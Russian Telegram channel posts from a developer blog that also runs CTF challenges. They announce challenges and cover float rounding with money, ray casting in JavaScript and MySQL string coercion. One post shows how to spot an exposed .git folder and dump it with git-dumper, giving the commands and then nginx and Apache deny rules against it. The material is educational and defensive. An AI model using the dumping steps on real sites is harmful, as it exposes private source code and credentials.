📖 В недавнем опросе по поводу тем постов и сложности задач, которые периодически публикуются тут в канале, мнения разделились – кому-то нужны полегче, а кому-то посложнее задачи. Но постить все подряд сюда в канал будет неудобно, вся лента только из задач и будет состоять, если публиковать и простые челенджи, а нужно еще оставить место и для основной тематики – заметки про разработку и разборы задач. А также хочется вести общий рейтинг по очкам участников за всю истории, и автоматизировать уведомления про первые три решения, это нужно для определения победителей в задачах с призами. Да и в целом, собрать все в одном месте будет удобнее, чем искать задачи по ленте в телеграм.

📌 Поэтому решено запустить сайт с коллекцией задач. Пока там постоянно будет находиться только такие задачи, которые не требуют отдельных инстансов на сервере и не отнимают много ресурсов. Но в будущем, если будет интерес, то может доработаем площадку.

Сайт уже заработал и там есть шесть задач – две старые, которые уже упоминались в канале и четыре новые. Можно переходить и решать: ссылка.
Две задачки из новых вчера ребята начали уже разбирать – в чате канала был предварительный анонс, а еще две совсем новые, они опубликованы одновременно с этим постом. Еще можно успеть решить первым!

📌 Новые задачи, которые еще не видели в канале:
– OSINT / Поездка: Беларусь
– OSINT / Смертельный интим
– STEGO / Комариный писк
– MISC / Лабиринт

Эти задачки прилично проще, чем те, что решали в канале, поэтому у всех есть возможность решить. Вперед!

❗️ Сайт с задачами: https://ctf.bug-makers.ru

———
#⃣ #CTF #Задачи

🐞БАГодельня: Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥1186
Как хранить и обрабатывать деньги?

❗️ Быстрый ответ на вопрос. Храните свои деньги в сберегательной кассе. А если это чужие деньги, то лучше их хранить в базе данных в полях с типами INTEGER, BIGINT, NUMERIC или специализированным типом Money, если его поддерживает СУБД. Но никак не в типах с плавающей точкой, это приведет к ошибкам и появлению лишнего или потере существующего баланса. Деньги обязательно должны храниться и обрабатываться только в целочисленных типах данных. А если нужны копейки, то число должно быть умножено на 100, а при необходимости форматированного вывода, достаточно обратно поделить на 100 и вывести целую и дробную части. Иногда можно гранить рубли и копейки в разных полях, но все также в целочисленных типах данных. Аналогично должна происходить и логика обработки в коде, а не только хранение.

📌 Для наглядности: 0.1 + 0.2 !== 0.3 – это условие вернет true. Например, в js 0.1 + 0.2 = 0.30000000000000004. В других языках ситуация такая же. Это небольшая погрешность, но при работе с крупными объемами данных и большим количеством операций над этими значениями, можно получить серьезную проблему.
Почему так происходит? Числа с плавающей точкой хранятся в двоичной системе исчисления по стандарту IEEE 754. Это не ошибка языка, а следствие того, что числа 0.1 и 0.2 являются бесконечными дробями в двоичной системе, так же как 1/3 (0.33333...) является бесконечной дробью в десятичной системе исчисления. То есть это нормальное поведение чисел и об этом нужно знать при работе с деньгами, иначе такой очень маленький(0.00000000000000004) «хвост» может вызвать кучу проблем.

📌 На тему поста для демонстрации проблемы опубликована задача: Обменник валют «У Апишечки». В задаче приложен код с ошибкой в типах данных, и если правильно воспользоваться этой проблемой, то можно увеличить свой баланс счета. Попробуйте решить, а если возникнут сложности, то приходите в чат, там можно спросить помощи или подсказку, а также там выходят анонсы новых небольших и простеньких задач, про которые не упоминается в канале.

———
#⃣ #БазаЗнаний #Ошибки

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍651
Задача «Тест по YAML»

❗️ Эта задача анонсировалась заранее и будет награждение первой тройки решивших. Призы символические, но так интереснее, чтобы был азарт.
Ссылка на задачу на нашей площадке: задание.

📌 Исходники бекендовой части задачи прикреплены на сайте.
Описание задачи:
Для получения флага, нужно получить 1337 очков в тесте, где представлены 7 вопросов про парсинг YAML-файлов. Ответы проверяются в бекенде, по запросу с фронта.

📌 Заявки принимаются на сайте с задачами, где фиксируется время отправки и валидность флага. Про первые три решения автоматически сообщает бот в нашем чате.

Ответы в зачет принимаются до 12 сентября 12:00 МСК, есть ровно неделя на решение. Далее будет пост с полным разбором этой задачи и объявлением победителей.
Кто первый, тот молодец. Поехали!

❗️ Ссылка на задачу: перейти.

———
#⃣ #Задачи #CTF #Web

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍10🔥3🤔22
Файлы .git в публичной папке

📖 Контроль версий кода – удобный инструмент, уже давно без него не представляется ни одна разработка. Я еще немного застал системы контроля версий svn, потом mercurial, а потом и git, который сейчас стал стандартом и, кажется, нет альтернатив. Каждый проект имеет свой git-репозиторий, который зачастую попадает в продакшен или вообще используется для деплоя. Да, не все приложения разворачиваются с докерами, куберами и прочим, очень много реальных и живых проектов все еще используют ci/cd с набором скриптов для автоматического стягивания с репозитория и последующего билда. И есть такие, которые полностью в ручном режиме релизятся. Такие решения даже могут быть оправданы. Но не об этом пост. Это я все к тому, что так или иначе зачастую на продакшене оказывается актуальный репозиторий, а вместе с ним и все его файлы настроек, объектов, логов, хуков и всего остального. Бывает такое, что папка .git попадает на прод и это факт. И встречается это куда чаще, чем отлаженные инфраструктуры с ci/cd и прочими примочками.

📌 То, что папка .git зачастую лежит в продакшене – это реальность. Это не плохо и не хорошо, такую ситуацию диктуют куча разных условий, которые для каждого проекта свои. Но очень плохо и не безопасно то, что .git с завидной регулярностью упускается разработчиками из виду и попадает не просто в продакшен, а в публичную папку. Если не позаботиться о приватности, то весь репозиторий со всеми его ветками и коммитами, можно легко найти и полностью скачать. А имея полный доступ к кодовой базе и истории коммитов, найти уязвимость в проекте становится делом времени. И если еще в коде захардкожены доступы или файлы конфигов находятся под контролем версий, то это совсем уже печально и такая находка сродни получению полного доступа.

📌 Как эксплуатировать
Если .git оказалась в публичной папке, то скорее всего это будет корень проекта. Поэтому самый простой способ обнаружить открытый репозиторий, это «дернуть» файл с конфигурацией, который есть в каждой папке .git, по урлу: хост/.git/config. Если папка доступна, то получится скачать файл конфигурации. Цель найдена, остается выкачать все файлы. «Руками» такое сделать не реально для больших репозиториев, поэтому нужна автоматизация. Можно написать свой парсер, а можно воспользоваться готовым инструментом git-dumper. Git-dumper работает на python и установить его можно через pip:
pip install git-dumper

И остается только запустить git-dumper, указав адрес сайта-цели и папку, в которую скачать весь .git:
git-dumper http://хост.com ./folder

Готово. А что делать со скаченной папкой .git всем и так понятно — удалить, а о существующей проблеме с безопасностью сообщить владельцу ресурса, откуда выкачали репозиторий.

📌 Как защититься
Чтобы папка не была доступна, ее нужно выносить на уровень выше, чем публичная. Тогда она будет недоступна по http. Но такой подход подразумевает изменение вложенности, если такое сложно и трудозатратно организовать, то можно закрыть доступ на уровне сервера.
Для nginx это делается через конфиг для хоста:
location ~ /\.git {
deny all;
}

А для веб-сервера Apache нужно добавить правило в .htaccess:
<DirectoryMatch "/\.git">
Order allow,deny
Deny from all
</DirectoryMatch>


📌 Тренировка:
Для тестирования эксплуатации этой уязвимости запущенна задачка «Старый коммит» на нашей площадке с коллекцией челенджей. А если будут сложности, то приходите в чат, там можно пообщаться и задать вопросы.

———
#⃣ #БазаЗнаний #Web #git

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
👍65🔥3
Алгоритм Ray Casting

📖 При работе с картами или любой другой сеткой координат, иногда нужно определить, находится ли объект внутри области или за ее пределами. Самый частый и наглядный случай, с которым приходилось сталкиваться в работе с вебом – это определение доступности адреса в конкретной зоне доставки. Первый раз, когда с подобным столкнулись, начали выдумывать свой алгоритм, но быстро сообразили, что должны быть и готовые формулы и алгоритмы. Так и оказалось.

📌 Ray Casting – простой, но очень действенный алгоритм для определения положения точки относительно многоугольной области: точка находится внутри или снаружи. Для проверки положения, из точки выпускается луч право и считается сколько произошло пересечений с областью. Если пересечений четное количество, то точка находится за пределами области, а если не четное, то внутри. Ноль – четное число, тут нет противоречий или дополнительных обработок, логика не ломается. Для наглядности, в картинке к посту добавил область на карте и трех жуков, от них отходят лучи. И только у того, кто внутри треугольника, луч пересекает зону нечетное количество раз – единожды. Для не областей с стандартными формами, пересечений может быть 3, 5, 7 и тд. Но все равно условие с четностью будет выполняться.
Чтобы рассчитать количество пересечений, есть математическая формула:
xIntersection = xj + (y - yj) * (xi - xj) / (yi - yj)

Это уравнение прямой через две точки (xj,yj) и (xi,yi), решенное относительно x при заданном y.
Зная эту формула, написать метод определения положения точки относительно области, уже дело техники. Для примера можно посчитать географические координаты, используя долготу и широту:

function isPointInPolygon(point, polygon) {
const { lng: pointX, lat: pointY } = point;
let isInside = false;

// Проходим по всем ребрам многоугольника
for (let currentIndex = 0, previousIndex = polygon.length - 1;
currentIndex < polygon.length;
previousIndex = currentIndex++) {

const currentVertex = polygon[currentIndex];
const previousVertex = polygon[previousIndex];

const { lng: currentX, lat: currentY } = currentVertex;
const { lng: previousX, lat: previousY } = previousVertex;

// Проверяем, пересекает ли луч ребро
const isRayCrossingEdge = (currentY > pointY) !== (previousY > pointY);
const edgeIntersectionX = previousX +
(pointY - previousY) * (currentX - previousX) / (currentY - previousY);

if (isRayCrossingEdge && pointX < edgeIntersectionX) {
isInside = !isInside;
}
}

return isInside;
}


И пример использования:
const deliveryZone = [
{ lng: 34.349, lat: 53.417 },
{ lng: 34.066, lat: 53.141 },
{ lng: 34.706, lat: 53.150 },
];
const clientAddress = { lng: 34.350, lat: 53.410 };

console.log(isPointInPolygon(clientAddress, deliveryZone));


👨‍💻 Код можно запустить онлайн тут: ссылка.

❗️Такой расчет можно делать не только с географической картой, но и любой другой 2d сеткой координат.

———
#⃣ #БазаЗнаний #RayCasting

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
👍127🔥6
Выборка WHERE txt_field = 0 для текстовых полей

📖 Сразу оговорюсь – я понимаю, что никому в здравом уме не придет идея делать подобные запросы умышлено. Но понимание таких нюансов может пригодиться для упрощения дебага, а также при каких-то нестандартных ситуациях, не связанных с разработкой для продакшена.

Как раз во время поиска проблемы с выборками из БД и был обнаружен подобный запрос. В коде был баг, который при определенных обстоятельствах превращал параметр строкового ключа в число ноль и в типе int использовался для запроса к базе данных MySql. Не сразу обнаружился ноль в запросе, и пришлось повозиться, прежде удалось понять, почему вместо выборки по строковому ключу, возвращаются вообще все данные из таблицы.

📌 Странные запросы и результаты
На скрине упрощенная таблица БД, которая состоит из двух полей – id и txt_field. Поле txt_field имеет тип varchar и хранит строки. Если сделать такой sql запрос:
SELECT * FROM `tbl_test` WHERE `txt_field` = 0;

В ответ получим три строки:
id  txt_field
1 kek
2 kek_1
3 kek_2

А такой запрос:
SELECT * FROM `tbl_test` WHERE `txt_field` = 1;

Вернет одну строку:
id  txt_field
4 1_kek


📌 Почему так происходит?
Странные выборки получаются и не очень очевидные. Но это нормальное поведение MySql. Когда в запросе нужно сравнить число и строку, MySql пытается сделать приведение к одному типу данных. Но приведение типов с MySql работает по своим правилам, вот таким:
– Читает строку слева направо до первого нечислового символа
– Если в начале строки нет цифр, результат преобразования будет равен нулю
– Если есть цифры, то берет только числовую часть и отбрасывает остатки
Поэтому все строки, которые начинаются с нечисловых символов, становятся равны нулю и удовлетворяют условиям выборки WHERE txt_field = 0. Однако, если в начале строки есть число, то такая строка преобразуется в числовое значение, поэтому запрос с WHERE txt_field = 1, выдаст результат с «1_kek».

📌 Примеры преобразований строк в число:
'123kek' → 123
'kek_1' → 0 (первый символ не цифра)
'1_kek' → 1
'1.23kek' → 1.23
'kek' → 0
'' (пустая строка) → 0


———
#⃣ #Костыли #sql #Типы

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥84👍2